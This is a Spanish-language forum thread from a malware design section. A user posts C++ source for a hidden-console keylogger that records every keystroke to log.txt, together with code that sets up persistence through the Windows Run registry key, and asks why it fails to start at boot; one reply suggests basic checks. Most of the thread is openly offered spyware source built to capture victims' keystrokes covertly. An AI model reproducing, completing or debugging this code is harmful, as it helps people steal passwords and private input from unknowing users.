Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Dacan en 7 Febrero 2016, 07:47 am



Título: Ejecutar .exe al iniciar el equipo
Publicado por: Dacan en 7 Febrero 2016, 07:47 am
Estoy haciendo un keylogger en C++ y logre incluir el programa en la lista de las aplicaciones que inician con windows pero, si no lo ejecuto no comienza a registrar las teclas pulsadas en el archivo log.txt, alguna ayuda?

Este es el codigo para que me coloque el ejecutable en el registro, FUNCIONA CORRECTAMENTE de hecho en el Task Manager me sale que se esta ejecutando:

Código:
#include <iostream>
#include <windows.h>

using namespace std;

string ExePath() {
    char buffer[MAX_PATH];
    GetModuleFileName( NULL, buffer, MAX_PATH );
    string::size_type pos = string( buffer ).find_last_of( "\\/" );
    return string( buffer ).substr( 0, pos);
}

int main(int argc, char *argv[])
{
   
 HKEY * key;
 LPCTSTR ruta = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\");
 long status = RegOpenKey(HKEY_LOCAL_MACHINE, ruta, key);
 if (status != 0)
 {
  cout << "No se puede abrir la clave" << endl;         
 }
 else
 {
  string ruta = ExePath();
  string subclave = "KeyloggerXD";
  string valor = ruta + "\\Keylogger.exe";
 
  LPCTSTR _subclave = TEXT(subclave.c_str()); 
  LPCTSTR _valor = TEXT(valor.c_str());
  long crear = RegSetValueEx(*key, _subclave, 0, REG_SZ, (LPBYTE)_valor, strlen(_valor)*sizeof(char));
  if (crear != 0)
  {
     cout << "Ha ocurrido un error al crear la subclave" << endl;       
  }
  else
  {
    cout << "Subclave creada correctamente" << endl; 
  }
 }
 
 RegCloseKey(*key);

 system("PAUSE");
 return 0;
}



Este es el codigo del keylogguer que encontre en internet, funciona bien pero si abro el ejecutable, no se pq no funciona al prender la pc:

Código:
#define _WIN32_WINNT 0x0500 //getConsoleWindow()
#include <iostream>
#include <string>
#include <map> //Array asociativo
#include <windows.h>

using namespace std;

int main(int argc, char *argv[])

    /*
    Array asociativo. la clave es el número decimal y el valor el carácter que representa.
    Está adaptado para un teclado en español. Ya que como viene configurado por defecto
    el número decimal dado no se corresponde a algunas de las teclas de un teclado en español.
    */         
    map<int, string> ch;
    ch[1] = " [mouse click] ";
    ch[2] = " [mouse menu context] ";
    ch[8] = " [Backspace] ";
    ch[9] = " [Tab] ";
    ch[13] = " [Intro] ";
    ch[16] = " [Shift] ";
    ch[17] = " [Control] ";
    ch[18] = " [Alt] ";
    ch[20] = " [Bloq Mayús] ";
    ch[27] = " [Esc] ";
    ch[32] = " ";
    ch[37] = " [Flecha izquierda] ";
    ch[38] = " [Flecha arriba] ";
    ch[39] = " [Flecha derecha] ";
    ch[40] = " [Flecha abajo] ";
    ch[44] = " [Impr Pant] ";
    ch[45] = " [Insert] ";
    ch[46] = " [Supr] ";
    ch[48] = "0";
    ch[49] = "1";
    ch[50] = "2";
    ch[51] = "3";
    ch[52] = "4";
    ch[53] = "5";
    ch[54] = "6";
    ch[55] = "7";
    ch[56] = "8";
    ch[57] = "9";
    ch[65] = "a";
    ch[66] = "b";
    ch[67] = "c";
    ch[68] = "d";
    ch[69] = "e";
    ch[70] = "f";
    ch[71] = "g";
    ch[72] = "h";
    ch[73] = "i";
    ch[74] = "j";
    ch[75] = "k";
    ch[76] = "l";
    ch[77] = "m";
    ch[78] = "n";
    ch[79] = "o";
    ch[80] = "p";
    ch[81] = "q";
    ch[82] = "r";
    ch[83] = "s";
    ch[84] = "t";
    ch[85] = "u";
    ch[86] = "v";
    ch[87] = "w";
    ch[88] = "x";
    ch[89] = "y";
    ch[90] = "z";
    ch[91] = " [Menu Windows] ";
    ch[96] = "0";
    ch[97] = "1";
    ch[98] = "2";
    ch[99] = "3";
    ch[100] = "4";
    ch[101] = "5";
    ch[102] = "6";
    ch[103] = "7";
    ch[104] = "8";
    ch[105] = "9";
    ch[106] = "*";
    ch[107] = "+";
    ch[109] = "-";
    ch[110] = ".";
    ch[111] = "/";
    ch[112] = " [F1] ";
    ch[113] = " [F2] ";
    ch[114] = " [F3] ";
    ch[115] = " [F4] ";
    ch[116] = " [F5] ";
    ch[117] = " [F6] ";
    ch[118] = " [F7] ";
    ch[119] = " [F8] ";
    ch[120] = " [F9] ";
    ch[121] = " [F10] ";
    ch[122] = " [F11] ";
    ch[123] = " [F12] ";
    ch[144] = " [ Bloq Num ] ";
    ch[145] = " [Bloq Despl] ";
    ch[186] = "`";
    ch[187] = "+";
    ch[188] = ",";
    ch[189] = "-";
    ch[190] = ".";
    ch[191] = "ç";
    ch[192] = "ñ";
    ch[219] = "'";
    ch[220] = "º";
    ch[221] = "¡";
    ch[222] = "´";
    ch[226] = "<";

 
 /* Manejador para un fichero donde se irán guardando las pulsaciones */
 FILE * log;
 /* Variable para crear un salto de línea cada 50 caracteres */
 int count = 1;
 
 /* Ocultar la consola */
 HWND hWnd = GetConsoleWindow();
 /* 0 = oculta ; 1 = visible */
 ShowWindow( hWnd, 0);
 
 /* Búcle infinito para detectar las pulsaciones de tecla */
 while (true)
 {
     /* Recorrer el número de carácteres de la tabla ASCII que son 255 */
     for (int c = 0; c < 256; c++)
     {
         /* Si una tecla es pulsada */
         if (GetAsyncKeyState(c) == -32767)
          {
             /* Abrir el fichero */
             log = fopen("log.txt", "a");
             /* Si count es igual a 10 incluir un salto de línea en el fichero */
             if (count == 10) {fputs("\n", log); count=1;}
             /* Escribir en el fichero el carácter de la tecla pulsada */
             fputs(ch[c].c_str(), log);
             /* Cerrar el fichero */
             fclose(log);
             /* Aumentar en uno el valor de count */
             count++;
         }
     }
 }     

 system("PAUSE");
 return 0;
}



Que debo hacer, se tendria que usar algun batch para que funcione?

Saludos.


Título: Re: Ejecutar .exe al iniciar el equipo
Publicado por: fary en 8 Febrero 2016, 14:33 pm
¿Comprobaste que se escribio en el registro correctamente?

¿El ejecutable esta en la ruta correcta?

¿El ejecutable tiene el nombre correcto?

saludos.